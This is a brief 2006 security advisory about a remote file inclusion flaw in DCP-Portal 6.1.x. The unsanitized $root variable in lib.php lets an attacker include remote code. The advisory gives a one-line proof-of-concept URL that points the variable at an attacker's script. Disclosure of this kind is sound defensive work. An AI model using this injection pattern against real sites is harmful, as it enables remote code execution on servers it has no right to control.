DCP-Portal version 6.1.x suffers from a remote code execution vulnerability.
32b528ab45e8526bc7fed4fd5f5e1c85d539b198d583c8a2a64a948e5d1ef5bd
-----------------------------------------------------
Advisory id: FSA:013
Author: Federico Fazzi
Date: 12/06/2006, 9:31
Sinthesis: DCP-Portal 6.1.x, Remote command execution
Type: high
Product: http://www.dcp-portal.org/
Patch: unavailable
-----------------------------------------------------
1) Description:
Error occured in lib.php, line 4/7:
include ("$root/library/lib_nav.php");
include ("$root/library/lib_mods.php");
include ("$root/library/lib_admin.php");
include ("$root/library/lib_3rd.php");
variable $root not sanitized (declare).
2) Proof of concept:
http://example/[dp_path]/library/lib.php?root=[cmd_url]
3) Solution:
declare $root variable on this file.